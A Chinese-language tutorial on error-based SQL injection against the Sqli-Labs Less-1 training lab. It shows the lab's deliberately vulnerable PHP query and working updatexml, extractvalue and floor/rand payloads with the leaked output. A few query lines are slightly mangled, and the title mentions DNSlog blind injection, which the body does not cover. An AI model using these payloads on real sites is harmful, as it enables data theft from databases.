DNSlog盲注

概述

与union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。

注入原理

后端代码

使用场景

具体步骤

注入原理

报错注入(Sqli-Labs Less-1)

概述

与Union联合查询注入类似,报错注入是利用网站的报错信息来带出我们想要的信息。

报错注入也称之为公式化注入方式。

注入原理

利用数据库的某些机制,人为制造错误条件,在错误信息中执行SQL语句,使得查询结果能够出现在错误信息中。

后端代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row){

  echo "<font size='5' color= '#99FF00'>";

  echo 'Your Login name:'. $row['username'];

  echo "<br>";

  echo 'Your Password:' .$row['password'];

  echo "</font>";

  } else {

		echo '<font color= "#FFFF00">';

		print_r(mysql_error());

		echo "</font>";  

	}

使用场景

  • 注入使用的成本比Union联合查询注入低(Union查询注入花费更多时间或者是无法使用)。

  • 数据库中sql语句的报错信息,会显示在页面中。

判断是否存在报错注入

只需得知网页是否会返回MySQL报错信息

具体步骤(实例)

SQL语句为 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

updatexml()

注入格式为 update(1 , concat(0x7e , (SQL语句) , 0x7e) , 1)

// 传入id=1' and (updatexml(1 , concat(0x7e , (select user()) , 0x7e) , 1)); --+

$sql="SELECT * FROM users WHERE id='1' and (updatexml(1 , concat(0x7e , (select user()) , 0x7e) , 1)); --+' LIMIT 0,1";

# 返回 XPATH syntax error: '~root@localhost~'

extractvalue()

注入格式为 extractvalue(1,concat(0x7e , (SQL语句) , 0x7e))

// 传入 id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)); --+

$sql="SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select user()),0x7e)); --+' LIMIT 0,1";

# 返回 XPATH syntax error: '~root@localhost~'

floor()

注入格式为 floor(rand(0)*2)

  • 主要利用原理是主键重复,因为 floor(rand(0)*2) 的重复性。导致 group by 语句出错。 group by key 的原理是循环读取数据的每一行,将结果保存于临时表中。

  • 读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据

// 传入 id=1' and (select 1 from (select count(*) , concat(user() , floor(rand(0) * 2)) x from information_schema.tables group by x) a) --+

$sql="SELECT  FROM users WHERE id='1' and (select 1 from (select count() , concat(user() , floor(rand(0) * 2)) x from information_schema.tables group by x) a) --+' LIMIT 0,1";

# 返回 Duplicate entry 'root@localhost1' for key 'group_key'